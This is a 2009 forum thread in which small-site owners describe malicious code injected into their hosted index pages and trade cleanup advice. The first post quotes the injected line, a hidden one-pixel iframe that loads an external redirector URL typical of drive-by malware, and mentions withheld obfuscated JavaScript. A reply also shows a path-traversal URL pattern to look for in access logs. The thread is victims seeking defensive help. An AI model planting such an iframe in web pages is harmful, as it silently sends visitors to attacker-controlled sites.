April 26, 200917 yr Hello, all! I host some small websites with Netfirms, and have recently been shocked to notice that Google reports my domains as belonging to an "attack website", urging users not to continue to them. Obviously this is a horrific situation, so I set out to quickly find out the cause. It turns out some malicious code is being added to my index.html (or similar) files when I have uploaded them to my Netfirms FTP server. I will post a (modified) version of the added script below, but I wanted to know what I can do to stop this happening. Surely this is an issue for Netfirms to deal with since the files are being modified server-side? Is it likely they have a virus or something? An example of the auto-appended code is below, but there's also a long piece of obfusticated JavaScript which I won't post in case it's malicious. ><iframe src='http://tojandglow.com/Advanced_Traffic/out.php?s_id=1' frameborder='0' height='1' width='1'></iframe> Many thanks.
April 26, 200917 yr Same script was added to my home page (index.php) a few days ago. My website is a small u.k. regional tourism site. This has happened a few times with the malicious code varying. Also have a .com domain which has also been hacked with a similar script, this has occurred on one occasion. Have now changed password and waiting to see what happens next. Regards Neil
April 26, 200917 yr Are you using Shared Hosting? If it's shared then the security is the responsibility of the said company. Usually anyway. Contact them to have the issue rectified. The chances are it's a remote file fetching (including files)/XSS mix. Check your IP access logs, you'll usually see an entry like: IP Address: XX.XXX.XXX.XX.XX URL: http://www.awebsite.com/../includes/maliciousfile.htm?ID=1 Date/Time: 01.01.2000 at 00:00:00
April 26, 200917 yr I am experiencing a similar issue with my entire forum. They changed all the PHP scripts and html files. My forum is hosted on Site Ground. Any advice is appreciated. Thank you.
May 19, 200917 yr Hey guys! Im experiencing the same problem! heres the confusing part.. 4 websites hosted on different servers/hosting companys! Any idea whats going? I've changed FTP pass for now so hopefully that should sort it out..!?!? thanks Kieran
May 19, 200917 yr I've cleaned up three sites with similar issues over the last 7 days - 2 Wordpress sites and a shopping cart! The only thing you can do is go though every file and remove the offending code. For the most part you should be able to tell the infected files by the file date. If you have admin logins change the password to something difficult to guess using a mixture of lower/upper case alphas, and numbers, eg JHh4k8GFKJ It's also worth changing your hosting account password and/or FTP passwords as well.
Create an account or sign in to comment